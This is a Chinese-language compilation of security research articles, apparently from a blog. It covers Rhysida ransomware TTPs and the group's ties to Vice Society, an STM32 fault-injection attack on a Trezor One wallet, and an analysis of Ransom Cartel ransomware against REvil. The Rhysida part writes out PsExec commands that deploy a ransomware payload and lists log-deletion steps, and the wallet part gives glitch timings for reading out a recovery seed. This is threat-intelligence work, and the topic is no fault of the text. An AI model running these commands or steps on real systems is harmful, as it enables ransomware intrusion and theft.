例如，在2022 年期間，該組織襲擊了33 個教育機構，超過LockBit、BlackCat、BianLian 和Hive 等其它勒索軟件組織。自2021 年5 月開始活躍以來，Vice Society 與其它勒索軟件組織主要區別在於其不使用自己的勒索軟件變體，而是依賴於地下論壇上出售的HelloKitty 和Zeppelin 等預先存在的勒索程序二進製文件。微軟曾以DEV-0832 的名義追踪過該組織活動軌跡，發現在某些情況下，Vice Society 盡量避免部署勒索軟件直接勒索，而是利用竊取的數據進行勒索。

鑑於Vice Society與Rhysida之間存在聯繫，有必要找到這種聯繫的技術證據。分析顯示，這兩個組織在技術上層面存在相似性，以及Rhysida的出現和Vice Society的消失之間存在明顯關聯。此外，這兩個組織共同關注的目標都是教育和醫療保健行業。

據觀察，Vice Society部署了各種商用勒索軟件有效負載，所以Rhysida並不等同於Vice Society，但至少表明Vice Society運營商現在正在使用Rhysida勒索軟件。

戰術、技術和程序由於之前對Rhysida勒索軟件有效負載進行了徹底的分析，我們將重點關注導致其部署的TTP，特別是橫向移動、憑證訪問、防禦規避、指揮和控制以及影響。

根據我們掌握的證據，使用Rhysida勒索軟件的攻擊者的贖金時間(TTR)相對較低。從最初出現橫向移動的跡像到勒索軟件的廣泛部署，只有8天時間。

橫向活動攻擊者使用多種工具進行橫向活動，包括：

1.遠程桌面協議（Remote Desktop Protocol ）——在整個攻擊過程中，攻擊者啟動了RDP連接，並採取額外步驟故意刪除相關的日誌和註冊表項，以避免被檢測到，加強研究人員的分析工作。 RDP仍然是在環境中進行橫向移動的有效方法。

2.遠程PowerShell會話（WinRM）——當通過RDP遠程連接時，可以發現攻擊者正在啟動與環境中服務器的遠程PowerShell連接。這種情況發生在部署勒索軟件負載之前的幾天。

3.PsExec——勒索軟件有效負載本身是使用PsExec從環境中的服務器部署的。部署分兩個階段進行。

3.1 使用命令PsExec.exe -d \\VICTIM_MACHINE -u 'DOMAIN\ADMIN' -p 'Password' -s cmd /c COPY '\\path_to_ransomware\payload.exe' 'C:\windows\temp'複製惡意負載；

3.2 使用命令PsExec.exe -d \\VICTIM_MACHINE -u 'DOMAIN\ADMIN'' -p 'Password' -s cmd /c c:\windows\temp\payload.exe執行惡意負載。

憑據訪問最值得注意的是，攻擊者使用ntdsutil.exe來創建NTDS的備份。將其放入名為temp_l0gs的文件夾中。此路徑被攻擊者多次使用。除此之外，攻擊者還列舉了域管理員帳戶，並試圖使用其中一些帳戶登錄。

指揮與控制攻擊者利用了幾個後門和工具來實現持久性攻擊，包括：

1.SystemBC：在一個成功的PowerShell會話中，攻擊者執行一個SystemBC PowerShell植入，它通過安裝一個名為socks的註冊表運行項來在啟動時執行腳本以維護持久性。植入程序的域為5.255.103[.]7。此外，攻擊者設置了名為Windows Update的防火牆規則，以允許向另一台服務器5.226.141[.]196發送流量。

2.AnyDesk：通過遠程管理工具AnyDesk觀察到該攻擊者。

逃避檢測在整個活動過程中，攻擊者始終在其活動之後刪除日誌和取證工件。這包括：

1.刪除最近使用的文件和文件夾的歷史記錄；

2.刪除最近執行的程序列表；

3.刪除文件資源管理器中最近輸入的路徑的歷史記錄；

4.刪除PowerShell控制台歷史文件；

5.刪除當前用戶臨時文件夾中的所有文件和文件夾；

6.在RDP會話之後，攻擊者還通過以下方式刪除了RDP特定的日誌：

7.在Windows註冊表中的“HKCU:\Software\Microsoft\Terminal Server Client”下搜索所有子項，並刪除每個子項的“UsernameHint”值（如果存在）；

8.刪除用戶Documents文件夾中的Default.rdp；

影響在勒索軟件部署當天，攻擊者會利用AnyDesk提供的訪問權限，使用PsExec在環境中廣泛部署的勒索軟件有效負載：

1.刪除帳戶訪問權限（Account Access Removal）——攻擊者啟動了對域中數万個帳戶的密碼更改，以加強修復工作；

2.禁止系統恢復（Inhibit System Recovery）：在部署勒索軟件負載之前，攻擊者試圖部署具有多種功能的PowerShell腳本，包括：

2.1 將所有本地密碼更改為預定義密碼；

2.2阻止與數據庫系統、備份軟件、安全產品相關的業務；

2.3禁用Windows Defender並阻止其運行；

2.4使用wmic.exe和vssadmin.exe刪除卷影副本；

2.5將默認RDP端口更改為4000並為其創建防火牆規則；

2.6刪除所有Windows事件日誌和PowerShell歷史記錄。

3.數據加密：如上所述，攻擊者最終使用PsExec部署了Rhysida勒索軟件有效負載。

與Vice Society的關係在研究人員對Rhysida勒索軟件TTP和基礎設施的分析中，發現了與另一個臭名昭著的勒索軟件組織Vice Society的幾個相似之處，並且觀察到隨著時間的推移勒索軟件有效負載的變化。有人提出Vice Society和Rhysida之間可能存在聯繫。接下來，我們將提供支持這一說法的其他證據。

技術、工具和基礎設施上面描述的許多技術與之前由微軟和Intrinsec描述的Vice Society攻擊高度相關。其中一些可能對勒索軟件運營商來說很通用，但卻以非常具體的方式被利用，包括不常見的特定路徑：

1.使用NTDSUtil創建一個NTDS.dit備份到一個名為temp_l0gs的文件夾。據觀察，Vice Society也使用了同樣的路徑。

2.使用名為Windows Update的New-NetFirewallRule創建本地防火牆規則，以便於使用惡意軟件SystemBC進行流量中繼。 SystemBC是通過存儲在值socks下的註冊表Run項執行的。

3.在部署勒索軟件有效負載之前，啟動整個域的密碼更改過程；

4.對與Rhysida事件相關的基礎設施的分析發現了一組PortStarter樣本，其中一些之前被認為是Vice Society的。儘管PortStarter經常被描述為一種獨立的惡意軟件，但它的使用幾乎完全與Vice Society聯繫在一起。

受害者研究除了技術上的相似性之外，Rhysida的出現與Vice Society活動的顯著下降也存在相關性。根據Rhysida和Vice Society洩漏網站的信息，研究人員構建了一個時間線。

自從Rhysida第一次出現以來，Vice Society隻公布了兩名受害者。這些很可能是在早些時候進行的，直到6月份才被公開。自2023年6月21日起Vice Society的攻擊者就停止在他們的洩漏網站上發布信息。

微信截图_20230810152210.png

Rhysida和Vice Society受害者隨時間的分佈

此外，研究人員還注意到，受這兩個組織影響的目標行業有相似之處，這兩個組織以教育和醫療保健行業為目標而聞名。在整個勒索軟件生態系統中，教育行業的受害者比例很高，這對這兩個組織來說都是獨一無二的：

2.png

Rhysida受害者在每個行業分佈情況

3.png

Vice Society受害者分佈情況

總結研究人員對Rhysida勒索軟件攻擊的分析揭示了該組織與臭名昭著的Vice Society之間的明確聯繫，但它也揭示了一個殘酷的事實，大量勒索軟件攻擊者的TTP基本保持不變。目前觀察到的大部分活動均已被任何勒索軟件組織用於部署任何勒索軟件有效負載。

上述分析表明，安全人員不僅要了解勒索軟件有效負載的操作，還要了解導致其部署的整個過程的重要性。

HireHackking

在過去的四五年裡，圍繞加密貨幣錢包的安全性進行了大量研究。大部分研究都集中在故障注入領域，這是破壞嵌入式系統的常見手段，其目的是找到允許修改設備行為，以授予攻擊者升級的訪問權限。這方面的示例可能包括跳過指令、破壞內存讀取操作等。

故障注入故障注入包括引入足夠小的錯誤或修改以在目標上導致未定義的行為，但不足以阻止目標完全運行。這通常涉及注入高壓脈衝或暫時從目標系統上的目標電源或“軌道”排出電壓。

通過引起瞬間電壓調製(高於或低於預期電壓)，我們可以迫使目標系統進入一個未定義的行為領域。有足夠針對性的錯誤可以繞過各種安全檢查或其他可能阻礙攻擊者或逆向工程的功能。

關於常見的故障注入方法，我們可以嘗試引入幾種不同類型的故障：時鐘故障和電壓故障。

時鐘故障對於時鐘故障，我們的目標是跳過或修改指令。這個想法是，通過注入另一個時鐘週期，我們可以讓處理器跳過一條指令。

1.png

當我們嘗試修改或操作特定的時鐘週期序列以獲得我們想要的結果時，這些需要精確。時鐘故障以CPU 或微控制器上的外部時鐘為目標，最終目標是在適當的時間注入時鐘信號，從而導致指令被跳過。

電壓故障電壓故障涉及針對整個系統的電源。通過短暫切斷目標系統的電源，我們可以修改其行為/性能。

2.png

對於電壓故障，我們的目標是在足夠短的時間內降低電壓，以便處理器不會完全關閉，而是進入一個未定義狀態或導致某種類型的未定義行為。不幸的是，這項任務並不容易，因為許多處理器都是專門為避免這種情況而設計的，有時需要攻擊者使用組件移除或註入方法。

如果你想了解更多關於這些方法的信息，可以點擊有關教程、論壇和文檔。

電磁故障注入我們還可以使用PicoEMP或chipshouter等工具向目標註入故障，這些工具以不同於上述兩種方法的方式註入故障。

這些工具用於執行EMFI（電磁故障注入）攻擊。這些攻擊涉及產生可能導致硬件故障的大電場，從而導致潛在的位翻轉和其他未定義的行為。想要了解更多關於EMFI攻擊的信息，請查看Colin O’flynn關於錢包的介紹。

本文旨在重現使用故障注入繞過STM32F2 系列MCU bootrom 中的RDP 檢查的過程，允許攻擊者通過SWD 訪問設備的內部存儲器。

目標設備目標是Trezor One 錢包，這是一款流行的低成本錢包，它是基於STM32F2微控制器構建的。 Trezor的硬件和軟件都是開源的，這很好，因為它讓我們能夠訪問硬件圖和固件源，這將有助於逆向工程。

4.jpg

Trezor One 使用STM32F2 MCU，讓我們先回顧一下CPU的相關特性。

STM32 安全概述在STM32微處理器上可以啟用多種安全功能：

1.RDP 0 ——閃存解鎖，閃存/內存可通過調試接口訪問；

2.RDP 1——閃存鎖定，你可以連接調試器並讀取RAM/外設，但不能讀取閃存；

3.RDP 2——閃存鎖定、RAM 讀取鎖定、調試接口鎖定；

由於我們需要啟用保護級別RDP2，所以我們需要找到繞過它的方法，為此，我們必須稍微仔細研究一下STM32 中的電源管理和調節方式。

STM32 電源管理/調節在任何微控制器中，都有多個電源域（power domain），電源域對於一款芯片來說,其是由許多模塊、子系統集成之後才會發揮它的功能，不同模塊之間的工作速度和性能要求不同，它們為各種芯片外設和內部操作和比較器供電。我們將以內部電壓調節器為目標。下面是STM32電源域的簡要概述：

5.PNG

該圖顯示VCAP_1 和VCAP_2 線為我們提供了通往內部調節器的直接路徑，影響內核邏輯、閃存和IO 邏輯等內容。因此，如果我們可以簡單地操作這條線，我們就有希望影響這些外圍設備的行為方式！

6.PNG

對於這項工作，我們將通過嘗試操作上圖中顯示的VCAP 線來瞄準內部穩壓器。我們為什麼要瞄準這條線？或者更重要的是，當我們轉向其他目標進行故障注入時，我們如何才能找到類似的電壓軌來定位其他處理器？

VCAP 線路確保所有內部比較器和穩壓器都得到適當管理。如果我們可以操作這條線，則有可能改變CPU 核心存儲器和數字外設的行為，並導致未定義/修改的行為。希望這個內部調節器出現的故障（可能在涉及RDP 設置的特定內存操作期間）允許我們修改設備的RDP 狀態。

綜上所述，我們希望嘗試將設備的RDP狀態從RDP2修改為RDP1，我們希望通過故障或短暫中斷VCAP_1/VCAP_2線路上的電壓來實現這一點，VCAP_1/VCAP_2線路用於幫助調節內部穩壓器。如果我們能改變內部電壓調節器的行為，我們就有可能改變處理器的行為。現在我們已經回顧了目標的內部安全特徵和我們要攻擊的電源軌，接下來讓我們談談攻擊的細節。

攻擊過程這項工作旨在重現chip.fail 研究中提出的實踐路徑，該研究導致在STM32F2 微控制器的bootrom 中發現錯誤。對於那些可能不熟悉的人，bootrom 負責處理微控制器的許多早期啟動功能（類似於現代計算機上的BIOS）。 bootrom 負責執行基本的外設初始化、安全檢查、啟動模式檢查，最後將主應用程序加載到內存中並執行。引導過程的概要如下所示：

7.png

如果攻擊者可以在處理器開始執行其bootrom 大約170 微秒後注入故障，那麼RDP檢查就可以被繞過。這將允許攻擊者將STM32 從RDP2 釋放到RDP1，從而允許通過SWD 訪問SRAM。此外，可以通過讀取SRAM 來提取恢復密鑰，從而可以訪問錢包的內容。注意：Trezor 已修復了此漏洞。

攻擊過程如下：

1.開啟錢包；

2.當斷言(assert)RESET線時，開始故障倒計時；

3.在170 微秒時，將VCAP 拉低；

4.通過SWD 測試RDP 繞過；

5.從目標設備讀取SRAM。

8.png

如果步驟4 成功並且錢包繼續啟動，則故障成功，並且可以從目標中讀取內部SRAM。

那麼像這樣的攻擊在信號層面是什麼樣的呢？我們如何知道處理器何時開始執行引導ROM？如果分析新的目標/電源軌跡，將如何進行？讓我們首先從目標中移除一些組件並查看電源軌跡。

準備我們的目標為了確保我們的故障盡可能有效，我們需要移除連接到VCAP 線和復位線的外部電容器。這些電容器（在下面的示意圖中突出顯示）用於確保電壓保持穩定，這是我們在進行故障注入時不想要的。

以下是Trezor One 的默認示意圖：

9.png

下方紅色突出顯示的組件勾勒出了需要移除的電容器。

10.jpg

下面是錢包的圖片，被移除的電容用紅色標出：

11.jpg

捕獲電源軌跡除了已經確定的需要移除的組件和我們關心的線路，我們還需要捕獲一些示例電源跟踪數據。為此，我們將使用示波器。我們在本文中使用了Siglent SDS1104X-E 100Mhz 數字示波器和該示波器附帶的標准直流測量探頭。

在執行這樣的功率捕獲時，必須確保正確設置示波器。這意味著示波器將在檢測到復位線上升時開始捕獲。

在撥動示波器的觸發器時，花一些時間是必要的。雖然使用連續捕獲或“滾動”模式可能很有效，但這會大大降低你的捕獲率並導致更細粒度的電源跟踪。對於我們稍後將查看的樣本，我們的採樣率為500MSa/s。

還應該注意的是，當我們捕獲踪跡時，我們沒有使用分流電阻，關於如何正確利用分流電阻進行功率測量的文章可以點擊這裡。

接下來，讓我們回顧一些示例電源軌跡。下面是帶有外部電容器的VCAP 線上電壓的示例視圖：

12.png

移除電容器時也有同樣的反應：

13.png

現在線路噪音更大且更不穩定，這正是我們在嘗試將故障或故障注入電源軌時想要的。移除電容器並焊接測試焊盤後，就可以開始從與復位線相關的目標線(VCAP)開始進行一些初始功率分析。當系統復位線達到3.3V 閾值時，bootrom 開始執行。因此，通過監控復位線，我們可以確定引導ROM 何時開始執行，我們將使用它作為我們的故障觸發器。

粉線代表VCAP線上的電壓，而黃線是RESET線上的電壓：

14.png

我們可以在下面的gif 中看到突出顯示的各種活動區域：注意這些區域的電壓波動。基於這個MCU的啟動方式，我們可以對這些多重波動的含義做出一些假設。

15.gif

可以查看大約170 微秒的跟踪，可以在主應用程序開始執行之前看到flash 活動。

16.png

現在我們已經移除了相關的電容器，接下來我們需要連接到SWD 端口。這可以通過PCB 右側的導通孔訪問，如下圖所示：

17.jpg

在將這些行插入到breadboard上之後，就可以重現攻擊了。

重現攻擊下圖是一些要準備的裝置：

18.jpg

STL 文件可在此處的GitHub 存儲庫中找到。

硬件在設置中，我們使用了Raspberry Pi、ChipWhisperer 和STLink。 STLink 連接到Trezor 的SWD 端口，我們使用它來檢測RDP 繞過是否已成功執行。 ChipWhisperer 用於為錢包供電、觸發復位線和乾擾VCAP 線。下面是一個簡單的接線表：

19.png

軟件完成所有適當的連接後，是時候與ChipWhisperer連接，並輸入我們想要的故障參數。如前所述，NewAE 教程是一個很好的起點，可以作為攻擊的模板。

在使用ChipWhisperer時，需要輸入一些關鍵的東西，我們現在將介紹其中一些。參考代碼可以在這裡找到。

整個程序的流程很簡單：

20.png

從連接到我們的CW 開始；這可以通過以下代碼完成：

21.png

我們需要確保我們設置了CW的內部時鐘頻率以及輸出模式和触發源，可以使用以下代碼行來完成此操作：

22.png

接下來，我們來談談觸發。我們之前提到過，將使用複位行來指示引導ROM何時開始執行。如果故障不成功並且需要重新運行，此行也將用於重置目標。

23.png

reboot_flush 函數負責完全重置設備並解除故障。每當我們想要重置STM32 並測試新的故障參數時，我們都會調用此函數：

24.png

接下來，我們將定義我們的故障參數，我們將使用如下所示的GlitchController類來完成。

25.png

最後三行對於我們故障注入至關重要。

故障形成故障形成的三個變量是寬度、重複和偏移變量。請注意，這些定義來自Newaetech 教程。還應該注意的是，除了電線長度和質量等變量之外，還有許多因素會影響故障的形狀。根據一般經驗，使用SMA連接器的短屏蔽線是最佳做法。

寬度：產生故障的寬度。這是一個週期的百分比。對於我們的示例，我們將在進行電壓故障而不是時鐘故障時使用最大值。

重複：重複故障的時鐘週期數。較高的值會增加可能出現故障的指令數量，但通常會增加目標崩潰的風險。但較高的重複次數通常會導致更強的故障。

偏移：在輸出時鐘中放置故障的位置。

故障時間最終的範圍定義ext_offset定義了FPGA在觸發後執行故障之前等待的時鐘週期。由於我們之前指定了100 MHz的時鐘速率，15000個時鐘週期相當於大約150微秒。這意味著在Trezor上的RESET線升高後，我們將開始從ext_offset值開始倒計時，當它達到零時，我們將乾擾VCAP 線！

另一件需要注意的事情是，GlitchController類將遍歷所有提供的glitch參數。因此，對於每個可能的參數組合，我們將重新設置錢包，嘗試gitch，然後嘗試通過SWD連接到STM32。這意味著，對於測試大範圍的值，我們可能需要幾天來完成一系列測試。

我們在監控範圍的同時運行了故障的第一次迭代，並看到我們正確地生成了故障。

調試攻擊在運行攻擊一段時間沒有結果後，就開始對我們的設置進行故障排除。我們想要調試的第一件事是STLink SWD枚舉代碼，用於檢測一個成功的故障：

26.png

首先，我們在RDP級別0使用STM32開發板測試了成功的故障檢測，這在第一次迭代中立即有效。

這是一個好跡象，但是我們想測試多次調用swd_check函數時會發生什麼。

在發現swd 庫無法枚舉設備後（這將在故障嘗試失敗時發生），直到通過USB 重新枚舉STLink 後，它才能再次運行！

這意味著對於我們所有的測試，只有我們的第一次迭代使用STLink 正確測試了SWD。如果一次失敗，SWD 將無法再次工作，直到探針被拔出並通過USB插入！

有了這些新的知識和信心，我們發現了實踐中的問題，並修改了一個簡單的c程序，在每次故障嘗試後重置STLink設備。

27.png

不過，經過幾天的測試和調整故障參數後，我們仍然沒有看到結果。

最後，我們決定取出示波器並檢查故障。我們用16000、17000 和18000 的ext_offset 檢查了故障，雖然看起來是合理的，但是，當ext_offset 為0 時，我們看到以下內容：

28.png

在上面的截圖中，黃線是我們的RST 線，紫線是VCAP 線。注意故障和復位線達到其目標電壓之間的間隙。 ChipWhisperer 在復位線達到3.3V 之前觸發。這個早期的觸發導致我們的故障在復位線完全被斷言之前開始倒計時。這導致故障提前了大約20微秒觸發。

我們可以使用示波器上的光標計算準確的延遲，如下圖所示：

29.png

我們確定使用示波器提前了大約24 微秒觸發。有了這些新信息，我們將ext_offset 範圍修改為17000 到20000 之間，並在周末繼續運行。

過了一段時間，STLink LED 是綠色的，這意味著它已經通過SWD 成功訪問了設備！

30.png

更有趣的是，我們的故障在ChipWhisperer 觸發後大約197 微秒發生。回想一下在chip.fail 中的工作，它們的偏移量大約為170 微秒。我們的延遲為24 微秒，這與之前的實驗相差無幾(197-24=173)。這個偏移範圍是可重複的，我們可以在194-197微秒

HireHackking

Ransom Cartel是在2021年12月才被發現的勒索軟件即服務(RaaS)。此勒索軟件執行雙重勒索攻擊，並與REvil勒索軟件表現出一些相似之處和技術重疊。從時間維度來說，Ransom Cartel是在REvil勒索軟件消失後幾個月出現的。當Ransom Cartel首次出現時，尚不清楚是REvil的重現還是重用或模仿REvil代碼。

REvil消失的歷史2021年10月，REvil運營商突然中止，其暗網洩露網站也突然無法訪問。大約在2022年4月中旬，個別安全研究人員和網絡安全媒體報導了REvil的一項新進展，這可能意味著該組織的回歸。 REvil在dnpscnbaix6nkwvystl3yxglz7nteicqrou3t75tpcc5532cztc46qyd[.]onion和aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd[.]onion開始將用戶重定向到blogxxu75w63ujqarv476otld7cyjkq4yoswzt4ijadkjwvg3vrvd5yd[.]onion/Blog。

同一天晚些時候，重定向被刪除。當時，還無法確定是哪個組織發起了重定向，因為這個新的重定向網站並沒有顯示任何名字或隸屬關係。

在重定向開始時，網站上沒有列出任何違規組織。隨著時間的推移，攻擊者開始添加出現在重定向網站上的記錄，大部分是在2021年4月下旬至10月期間。他們還包括以前REvil使用的文件共享鏈接作為攻擊的證據。

新的重定向網站列出了Tox Chat ID，用於與勒索軟件運營商進行通信。該網站暗示其運營商與REvil的聯繫，並聲稱該新組織提供了“相同但經過改進的軟件”。

unit42最初認為該網站與Ransom Cartel有關，攻擊者提到的“改進軟件” 是新的Ransom Cartel變體。然而，在進一步分析和看到更多證據後，研究人員認為這和Ransom Cartel毫無任何關係。

無論新的重定向網站是由Ransom Cartel還是由其他組織運營的，很明顯的是，儘管REvil可能已經消失，但其惡意影響力並未消失。新成立的組織似乎可以訪問REvil或與其建立聯繫。同時，我們對Ransom Cartel樣本的分析(在下面的部分中詳細介紹) 也提供了與REvil有關的有力證據。

Ransom Cartel概述研究人員大約在2022年1月中旬第一次觀察到Ransom Cartel。 MalwareHunterTeam的安全研究人員認為，該組織至少自2021年12月以來一直活躍。他們觀察到第一個已知的Ransom Cartel活動，並註意到與REvil勒索軟件的一些相似之處和技術重疊。

關於Ransom Cartel的起源有許多猜測。其中一種猜測是，Ransom Cartel可能是多個組織融合的結果。然而，MalwareHunterTeam的研究人員提出，其中一個被認為已經合併的組織否認與Ransom Cartel有任何联系。此外，unit42發現其中許多組織與REvil有聯繫外，沒有發現這些組織與Ransom Cartel有聯繫。

目前，研究人員認為Ransom Cartel運營商可以訪問REvil ransomware的早期版本的源代碼，但不能訪問一些最新的開發(有關更多詳細信息，請參閱Ransom Cartel和REvil代碼比較)。這表明，在某種程度上，這些組織之間存在著某種關係，儘管這種關係可能不是最近才出現的。

unit42還觀察到Ransom Cartel組織的攻擊目標，2022年1月左右在美國和法國觀察到第一個已知的受害者。 Ransom Cartel攻擊了以下行業的企業: 教育，製造業，公用事業和能源。 unit42事件響應者還協助客戶在幾起Ransom Cartel案件中做出反應。

像許多其他勒索軟件組織一樣，Ransom Cartel利用雙重勒索技術。 unit42觀察到該組織採取了更激進的態度，威脅不僅要將竊取的數據發佈到他們的洩露網站上，還會將數據發送給受害者的合作夥伴、競爭對手和新聞媒體，以造成名譽損害。

Ransom Cartel通常通過被破壞的憑證獲得對環境的初始訪問權，這是勒索軟件運營商初始訪問的最常見途徑之一。這包括外部遠程服務、遠程桌面協議(RDP) 、安全shell協議(SSH) 和虛擬專用網絡(vpn) 的訪問憑證。這些憑證在網絡黑市中被廣泛可用，並為攻擊者提供了一種可靠的手段來訪問受害者的公司網絡。

這些憑據也可以通過勒索軟件運營商本身的活動或通過從初始訪問代理購買來獲得。

初始訪問代理是提供出售受損網絡訪問的攻擊者。他們的動機不是自己進行網絡攻擊，而是向其他攻擊者出售訪問權限。由於勒索軟件的盈利能力，這些代理可能會根據他們願意支付的金額與RaaS組織建立合作關係。

unit42已經發現Ransom Cartel依靠這種類型的服務來獲得對勒索軟件部署的初始訪問權限的證據。 Unit 42還觀察到Ransom Cartel在攻擊企業網絡時對Windows和Linux VMWare ESXi服務器進行加密。

在Ransom Cartel攻擊中觀察到的戰術、技術和程序unit42使用一種名為DonPAPI的工具觀察到一名Ransom Cartel攻擊者，這種工具在過去的事件中從未被發現過。該工具可以定位和檢索Windows數據保護API (DPAPI)受保護的憑證，這被稱為DPAPI轉儲。

DonPAPI用於搜索設備上已知為DPAPI blob的某些文件，包括Wi-Fi密鑰、RDP密碼、保存在web瀏覽器中的憑證等。為了避免被反病毒(av)或終端檢測和響應(EDR)檢測到的風險，該工具下載文件並在本地解密。為了破壞Linux ESXi設備，Ransom Cartel使用DonPAPI獲取存儲在web瀏覽器中的憑據，用於對vCenter web界面進行認證。

研究人員還觀察到攻擊者使用了其他工具，包括恢復本地存儲的憑據的LaZagne和從主機內存竊取憑據的Mimikatz。

為了建立對Linux ESXi設備的持久訪問，攻擊者在對vCenter進行身份驗證後啟用SSH。攻擊者將創建新的帳戶，並將帳戶的用戶標識符(UID)設置為零。對於Unix/Linux用戶，UID=0表示root。這意味著任何安全檢查都被繞過了。

據觀察，該攻擊者正在下載並使用一種名為PDQ Inventory的合法工具的破解版本。 PDQ Inventory是一種合法的系統管理解決方案，IT管理員可以使用它掃描他們的網絡，收集硬件、軟件和Windows配置數據。 Ransom Cartel利用它作為遠程訪問工具，建立交互式命令和控制通道，並掃描受感染的網絡。

一旦VMware ESXi服務器被破壞，攻擊者將啟動加密器，它將自動枚舉正在運行的虛擬機(vm)，並使用esxcli命令關閉它們。通過終止虛擬機進程，可以確保勒索軟件能夠成功加密vmware相關文件。

在加密過程中，Ransom Cartel專門尋找具有以下文件擴展名的文件：log，vmdk，vmem，vswp和.vmsn。這些擴展與ESXi快照、日誌文件、交換文件、分頁文件和虛擬磁盤相關聯。加密後，觀察到以下文件擴展名：zmi5z，nwixz，ext，zje2m，5vm8t和.m4tzt。

勒索通知unit42觀察到Ransom Cartel發送的兩種不同版本的勒索通知。第一個勒索通知最早是在2022年1月周圍觀察到的，另一個勒索通知是在2022年8月首次出現的。第二個版本似乎被完全重寫了，如圖1所示。

1.png

Ransom Cartel勒索通知，左邊的是在2022年1月中首次觀察到的，右邊的是在2022年8月中首次觀察到的

有趣的是，Ransom Cartel使用的第一個勒索通知的結構與REvil發送的勒索通知具有相似之處，如下圖所示。除了使用類似的措辭外，兩個註釋都對UID採用了相同格式的16字節十六進製字符串。

2.png

左側顯示的Ransom Cartel勒索通知，而右邊顯示的是REvil發送的勒索通知

Ransom Cartel TOR網站Ransom Cartel與受害者溝通的網站可通過贖金說明中提供的TOR鏈接獲得。我們已經觀察到屬於Ransom Cartel的多個TOR url，這可能表明他們一直在改變基礎設施並積極開發其網站。訪問網站需要一個TOR私鑰。

輸入密鑰時，將加載以下頁面：

3.png

Ransom CartelTOR網站登陸頁面

通過授權按鈕進入TOR網站後，會出現一個屏幕，要求輸入贖金通知中包含的詳細信息。

4.png

Ransom Cartel網站，要求在贖金通知中提供的ID和密鑰

在TOR網站上完成授權後，將出現下圖所示的頁面。該網站包括美元和比特幣的贖金需求以及比特幣錢包地址等詳細信息。

5.png

Ransom CartelTOR網站

技術細節在此分析中使用了兩個Ransom Cartel樣本:

16.png

兩個樣本都包含三種輸出：

17.png

如果不指定導出而執行DLL，則示例還包含一個DllEntryPoint。 DllEntryPoint指向一個函數，該函數在對Curve25519 Donna算法的調用上迭代24次。迭代結束後，示例將查詢系統指標，特別是SM_CLEANBOOT值。如果這個值不是0，勒索軟件將繼續通過rundll32.exe生成自己的另一個實例，並指定Rathbuige導出。

8.png

SM_CLEANBOOT值

Rathbuige導出從創建以下互斥鎖開始:

9.png

創建互斥鎖後，示例開始解密並解析其嵌入式配置。該配置存儲為一個base64編碼的blob，其中base64編碼的blob的前16個字節是RC4密鑰，用於在解碼後解密blob的其餘部分。

10.png

Ransom Cartel加密配置

一旦解密，該配置將以JSON格式存儲，並包含諸如加密文件擴展名、攻擊者的公共Curve25519-donna密鑰、base64編碼的贖金通知以及加密前要終止的進程和服務列表等信息。

11.png

解密Ransom Cartel配置示例

配置中的對應值如下：

12.png

配置結構

13.png

有針對性的進程列表

14.png

有針對性的服務列表

15.png

避免擴展

解密配置後，將收集某些系統信息，包括用戶名，計算機名稱，域名，區域設置和產品名稱。然後將此信息格式化為以下JSON結構:

16.png

結構內每個項的作用

17.png

硬編碼JSON格式項和值

一旦收集到的數據被格式化為JSON結構，它將使用與Ransom Cartel生成session_secret blob相同的過程進行加密，稍後將討論這個過程。簡而言之，它涉及AES加密，對AES密鑰使用Curve25519共享密鑰的SHA3哈希。

一旦加密，它被寫入註冊表項SOFTWARE\\Google_Authenticator\\b52dKMhj，如果沒有正確的權限，示例首先嘗試寫入HKEY_LOCAL_MACHINE配置單元，然後寫入HKEY_CURRENT_USER。將數據寫入註冊表後，它將被base64編碼並嵌入到贖金通知中，取代{KEY}佔位符。

一旦配置被解析並存儲在註冊表中，就會解析提供給勒索軟件的命令行。總共有5個可能的參數，如下表所示。

18.png

接下來，讓我們繼續分析會話秘密生成過程。

Ransom Cartel首先檢查註冊表是否已經包含先前生成的值; 如果是這樣，它將把這些值讀入內存。否則，它將在運行時總共生成兩個會話秘密，每個秘密包含88個字節的數據。

首先，將使用此Curve25519存儲庫(session_public_1和session_private_1) 中的代碼生成公鑰和私鑰對。當生成第一個會話秘密時，會生成另一個會話密鑰對(session_public_2和session_private_2)，並且session_private_2與attacker_cfg_public (配置中嵌入的公鑰) 配對以生成共享密鑰。然後使用SHA3哈希算法對該共享密鑰進行哈希處理。生成的哈希用作具有隨機16字節初始化向量(IV) 的AES密鑰，用於加密由四個空字節組成的後跟session_private_1的數據blob。

19.png

會話秘密生成過程示意圖

現在，使用CRC-32哈希加密blob，然後附加有session_public_2、AES IV和計算的CRC-32哈希的值。結果值為session_secret_1。第二個生成的會話秘密遵循完全相同的過程。但是，它沒有使用attacker_cfg_public，而是利用二進製文件中的嵌入式公鑰(attacker_embedded_public_1) 來生成共享密鑰。

20.png

反編譯會話秘密生成過程

最後一個嵌入式公鑰(attacker_embedded_public_2) 用於加密格式化為上述JSON結構的數據。

早在2020年，Amossys的研究人員就記錄了這種生成會話秘密的方法，然而，他們的分析集中在Sodinokibi/REvil勒索軟件的更新版本上，表明REvil源代碼和最新的Ransom Cartel樣本之間有直接重疊。

一旦生成了會話秘密，它們就會與session_public_1和attacker_cfg_public一起寫入註冊表。

21.png

Ransom Cartel使用的註冊表路徑和值

此時，將收集並生成所有所需的信息，以便開始文件加密。

對於每個文件，生成唯一的文件公鑰和私鑰對(file_public_1和file_private_1)，再次使用Curve25519 Donna. file_private_1和session_public_1配對在一起以生成共享密鑰，該共享密鑰使用sha3進行哈希處理。生成的哈希用作Salsa20 (一種對稱加密算法) 的加密密鑰，並使用CryptGenRandom生成隨機的八字節隨機數。計算file_public_1的CRC-32哈希，然後使用生成的Salsa20矩陣對四個空字節進行加密。

然後保留上述數據的某些元素，並將其用作加密文件頁腳的一部分，每個文件頁腳的長度為232字節，由以下部分組成：

22.png

與session_secret生成類似，該結構與Amossys分析的REvil樣本的結構相同，進一步表明在開發Ransom Cartel樣本時，對REvil源代碼的更改很少。

23.png

文件加密設置過程

Ransom Cartel和REvil代碼比較Ransom Cartel的樣本分析顯示了與REvil勒索軟件的相似之處。

Ransom Cartel和REvil之間的第一個值得注意的相似之處是配置的結構。檢查2019年的REvil樣本(SHA256: 6a2bd52a5d68a7250d1de481dcce91a32f54824c1c540f0a040d05f757220cd3)，可以看到相似性。然而，加密配置的存儲略有不同，選擇將配置存儲在二進製文件(.ycpc19)的單獨部分中，初始的32字節RC4密鑰後面是原始加密配置，而對於Ransom Cartel示例，配置作為base64編碼的blob存儲在.data部分中。

24.png

REvil配置存儲

